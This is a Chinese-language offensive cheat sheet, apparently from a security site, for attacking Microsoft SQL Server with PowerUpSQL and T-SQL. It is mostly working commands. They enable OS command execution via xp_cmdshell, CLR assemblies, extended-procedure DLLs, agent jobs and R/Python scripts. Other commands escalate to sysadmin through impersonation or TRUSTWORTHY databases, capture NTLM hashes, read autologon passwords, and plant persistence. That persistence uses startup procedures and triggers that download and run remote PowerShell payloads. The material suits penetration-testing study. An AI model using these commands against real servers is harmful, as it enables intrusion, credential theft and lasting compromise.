数据库枚举的基本 SQL Server 查询

代码语言：javascript复制#View all db in an instance

Get-SQLQuery -Instance -Query "SELECT name FROM sys.databases"

#View all tables

Get-SQLQuery -Instance -Query "SELECT * FROM Employees.INFORMATION_SCHEMA.TABLES"

#View all cols in all tables in a db

Get-SQLQuery -Instance -Query "SELECT * FROM Employees.INFORMATION_SCHEMA.columns"

#View data in table

Get-SQLQuery -Instance -Query "USE Employees;SELECT * FROM ITEmployees"枚举 SPN / 查找 MSSQL 服务器

代码语言：javascript复制#TCP/UDP port scan

Get-SQLInstanceScanUDP

#DB in the domain

Get-SQLInstanceDomain

#Local DB

Get-SQLInstanceLocal收集信息

代码语言：javascript复制Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose检查访问

代码语言：javascript复制Get-SQLConnectionTestThreaded

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Username sa -Password Password -Verbose枚举数据库用户

代码语言：javascript复制Get-SQLFuzzServerLogin -Instance -Verbose检查模拟权

代码语言：javascript复制Invoke-SQLAudit -Verbose -Instance instance.domain.local枚举 SQL Server 链接

数据库链接允许 SQL Server 访问外部数据源，如其他 SQL Server 和 OLE DB 数据源。在 SQL 服务器之间的数据库链接的情况下，即链接的 SQL 服务器，可以执行存储过程。数据库链接甚至可以跨林信任工作。代码语言：javascript复制Get-SQLServerLink -Instance -Verbose

#Or

select * from master..sysservers枚举数据库链接

代码语言：javascript复制Get-SQLServerLinkCrawl -Instance -Verbose

#Or

select * from openquery("",'select * from openquery("",''select * from master..sysservers'')')枚举域用户

代码语言：javascript复制Get-SQLFuzzDomainAccount -Instance -StartId 500 -EndId 2000 -Verbose命令执行xp_cmdshell

在目标服务器上，任何一个xp_cmdshell都应该已经启用；如果启用rpcout（默认禁用），xp_cmdshell可以使用以下命令启用：代码语言：javascript复制EXECUTE('sp_configure ''Show Advanced Options'',1;reconfigure;') AT "" EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT ""如果rpcout被禁用但我们是sa，则可以使用EXEC sp_serveroption 'LinkedServer', 'rpc out', 'true'。通过 DB 链接执行的命令：

代码语言：javascript复制Get-SQLServerLinkCrawl -Instance -Query "exec master..xp_cmdshell 'whoami'"

Get-SQLServerLinkCrawl -Instance -Query 'exec master..xp_cmdshell "powershell -c iex (new-object net.webclient).downloadstring(''http://172.16.100.168:8080/Invoke-HelloWorld.ps1'')"'

#Or

select * from openquery("",'select * from openquery("",''select * from openquery(".domain.local",''''select @@version as version;exec master..xp_cmdshell "powershell whoami)'''')'')')使用 PowerUpSQL：

代码语言：javascript复制Invoke-SQLOSCmd -Username sa -Password -Instance -Command whoami扩展存储过程

充当 SQL 服务器扩展的 DLL。DLL 需要在磁盘上。在 DLL 中注册每个扩展存储过程都需要 sysadmin 权限。以服务帐户的权限执行，并在 SQL Server 的进程空间中运行。DLL 可以具有任何文件扩展名，也可以从 UNC 路径或 Webdav 加载。代码语言：javascript复制Create-SQLFileXpDll -OutFile C:\fileserver\xp_calc.dll -Command "calc.exe" -ExportName xp_calc

Get-SQLQuery -UserName sa -Password -Instance -Query "sp_addextendedproc 'xp_calc', '\\192.168.15.2\fileserver\xp_calc.dll'"

Get-SQLQuery -UserName sa -Password -Instance -Query "EXEC xp_calc"列出现有的扩展过程

代码语言：javascript复制Get-SQLStoredProcedureXP -Instance -VerboseCLR 程序集

CLR（Common Language Runtime）是.NET框架提供的运行时环境。SQL Server 支持 CLR 集成，它允许通过导入 DLL 来编写存储过程和其他内容。CLR 集成默认关闭，默认情况下需要系统管理员权限才能使用它。创建程序集、更改程序集或DDL_Admin角色也可以使用它。执行以服务帐户的权限进行。代码语言：javascript复制use msdb

GO

-- Enable show advanced options on the server

sp_configure 'show advanced options',1

RECONFIGURE

GO

-- Enable clr on the server

sp_configure 'clr enabled',1

RECONFIGURE

GO

-- Import the assembly

CREATE ASSEMBLY my_assembly

FROM '\\192.168.15.2\fileserver\cmd_exec.dll'

WITH PERMISSION_SET = UNSAFE;

GO

-- Link the assembly to a stored procedure

CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME

[my_assembly].[StoredProcedures].[cmd_exec];

GO

cmd_exec 'whoami'

-- Cleanup

DROP PROCEDURE cmd_exec

DROP ASSEMBLY my_assembly使用 PowerUpSQL

代码语言：javascript复制#Create C# code for the DLL, the DLL and SQL query with DLL as hexadecimal string

Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir C:\Users\user\Desktop

#Execute command using CLR assembly

Invoke-SQLOSCmdCLR -Username sa -Password -Instance -Command "whoami" -Verbose

#List all the stored procedures added using CLR

Get-SQLStoredProcedureCLR -Instance -VerboseOle 自动化程序

允许使用 SQL 查询使用 COM 对象的系统存储过程。默认关闭。启用它需要 syadmin 权限。执行权限，sp_OACreate也sp_OAMethod可用于执行。执行以服务帐户的权限进行。代码语言：javascript复制Invoke-SQLOSCmdCLR -Username sa -Password -Instance -Command "whoami" -Verbose

Invoke-SQLOSCmdCLR -Username sa -Password -Instance -Command "powershell –e " -Verbose代理工作

SQL Server 代理是执行计划任务或作业的 Windows 服务。可以调度、执行作业以响应警报或使用sp_start_job存储过程。需要 sysadmin 角色才能创建作业。也可以使用在 msdb 数据库中具有SQLAgentUserRole、SQLAgentReaderRole和SQLAgentOperatorRole固定数据库角色的非系统管理员用户。如果未配置代理帐户，则使用 SQL Server 代理服务帐户的权限执行。代码语言：javascript复制-- PowerShell

USE msdb

EXEC dbo.sp_add_job @job_name = N'PSJob'

EXEC sp_add_jobstep @job_name = N'PSJob', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -noexit ps', @retry_attempts = 1, @retry_interval = 5

EXEC dbo.sp_add_jobserver @job_name = N'PSJob'

EXEC dbo.sp_start_job N'PSJob'

-- EXEC dbo.sp_delete_job @job_name = N'PSJob'

-- CmdExec

USE msdb

EXEC dbo.sp_add_job @job_name = N'cmdjob'

EXEC sp_add_jobstep @job_name = N'cmdjob', @step_name = N'test_cmd_name1', @subsystem = N'cmdexec', @command = N'cmd.exe /k calc', @retry_attempts = 1, @retry_interval = 5

EXEC dbo.sp_add_jobserver @job_name = N'cmdjob'

EXEC dbo.sp_start_job N'cmdjob';

-- EXEC dbo.sp_delete_job @job_name = N'cmdJob'使用 PowerUpSQL

代码语言：javascript复制Invoke-SQLOSCmdAgentJob -Subsystem PowerShell -Username sa -Password -Instance -Command "powershell –e " -Verbose -Subsystem CmdExec -Subsystem VBScript -Subsystem Jscript其他脚本：

R

代码语言：javascript复制sp_configure 'external scripts enabled'

GO

EXEC sp_execute_external_script @language=N'R',@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'

WITH RESULT SETS (([cmd_out] text));

GO

-- Grab Net-NTLM hash

@script=N'.libPaths("\\\\testhost\\foo\\bar");library("0mgh4x")'

-- Or

@script=N'OutputDataSet <-data.frame(shell("dir",intern=T))'Python

代码语言：javascript复制EXEC sp_execute_external_script @language =N'Python',@script=N'import subprocess p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE) OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'

WITH RESULT SETS (([cmd_out] nvarchar(max)))PowerUpSQL

代码语言：javascript复制#R

Invoke-SQLOSCmdR -Username sa -Password -Instance -Command "powershell –e " -Verbose

#Python

Invoke-SQLOSCmdPython -Username sa -Password -Instance -Command "powershell –e " -Verbose权限提升

对系统管理员公开 - 模拟

可以通过User Impersonation来实现Execute AS

检查模拟权

代码语言：javascript复制Invoke-SQLAuditPrivImpersonateLogin -Username -Password -Instance -Verbose模拟用户

代码语言：javascript复制Invoke-SQLAuditPrivImpersonateLogin -Instance -Exploit -Verbose对系统管理员公开 - 值得信赖的数据库

is_trustworthy_on用于指示 SQL Server 实例是否信任数据库及其内容的数据库属性 ( )。当 TRUSTWORTHY 关闭时，模拟用户（通过使用 EXECUTE AS）将仅具有数据库范围的权限，但当 TRUSTWORTHY 打开时，模拟用户可以执行具有服务器级别权限的操作。这允许编写可以执行使用服务器级别权限的代码的程序。如果 TRUSTWORTHY 设置设置为 ON，并且 sysadmin（不一定是 sa）是数据库的所有者，则数据库所有者（具有 的用户db_owner）可以将权限提升到 sysadmin。寻找值得信赖的

代码语言：javascript复制SELECT name as database_name, SUSER_NAME(owner_sid) AS database_owner, is_trustworthy_on AS TRUSTWORTHY

from sys.databasesPowerUpSQL

代码语言：javascript复制Invoke-SQLAudit -Instance -Verbose | Out-GridView

Invoke-SQLAuditPrivTrustworthy -Instance -Verbose寻找 db_owner 角色

代码语言：javascript复制use

SELECT DP1.name AS DatabaseRoleName, isnull (DP2.name, 'No members') AS DatabaseUserName

FROM sys.database_role_members AS DRM

RIGHT OUTER JOIN sys.database_principals AS DP1

ON DRM.role_principal_id = DP1.principal_id

LEFT OUTER JOIN sys.database_principals AS DP2

ON DRM.member_principal_id = DP2.principal_id

WHERE DP1.type = 'R'

ORDER BY DP1.name;执行为：

代码语言：javascript复制EXECUTE AS USER = 'dbo'

SELECT system_user

EXEC sp_addsrvrolemember 'domain\user','sysadmin'公共服务帐户

UNC 路径注入

代码语言：javascript复制Invoke-SQLUncPathInjection -Verbose -CaptureIp 192.168.15.2服务帐户到 SYSTEM

持久性 - 启动存储过程

每次重新启动 SQL 服务时重新启动的过程

代码语言：javascript复制-- Create a stored procedure

USE master

GO

CREATE PROCEDURE sp_autops

AS

EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'

GO

-- Mark the stored procedure for automatic executio

EXEC sp_procoption @ProcName = 'sp_autops', @OptionName = 'startup', @OptionValue = 'on';

-- Now, whenever the SQL Server service is restarted, the sp_autops stored procedure will be executed thereby executing our PowerShell payload

-- List stored procedures marked for automatic execution:

SELECT [name] FROM sysobjects WHERE type = 'P' AND OBJECTPROPERTY(id, 'ExecIsStartUp') = 1;触发器

DDL 触发器

代码语言：javascript复制CREATE Trigger [persistence_ddl_1]

ON ALL Server -- or DATABASE

FOR DDL_LOGIN_EVENTS -- See the docs below for events and event groups

AS

EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'

GODML 触发器

代码语言：javascript复制USE master

GRANT IMPERSONATE ON LOGIN::sa to [Public];

USE testdb

CREATE TRIGGER [persistence_dml_1]

ON testdb.dbo.datatable

FOR INSERT, UPDATE, DELETE AS

EXECUTE AS LOGIN = 'sa'

EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'

GO登录触发器

代码语言：javascript复制CREATE Trigger [persistence_logon_1]

ON ALL SERVER WITH EXECUTE AS 'sa'

FOR LOGON

AS

BEGIN

IF ORIGINAL_LOGIN() = 'testuser'

EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'

END;登记处

将xp_regread（作为系统管理员）与 PowerUpSQL 一起使用。以下命令从注册表读取自动登录密码。

代码语言：javascript复制Get-SQLRecoverPwAutoLogon -Username sa -Password -Instance -Verbosehttps://hideandsec.sh/books/cheatsheets-82c/page/mssql#bkmrk-enumerate-sql-server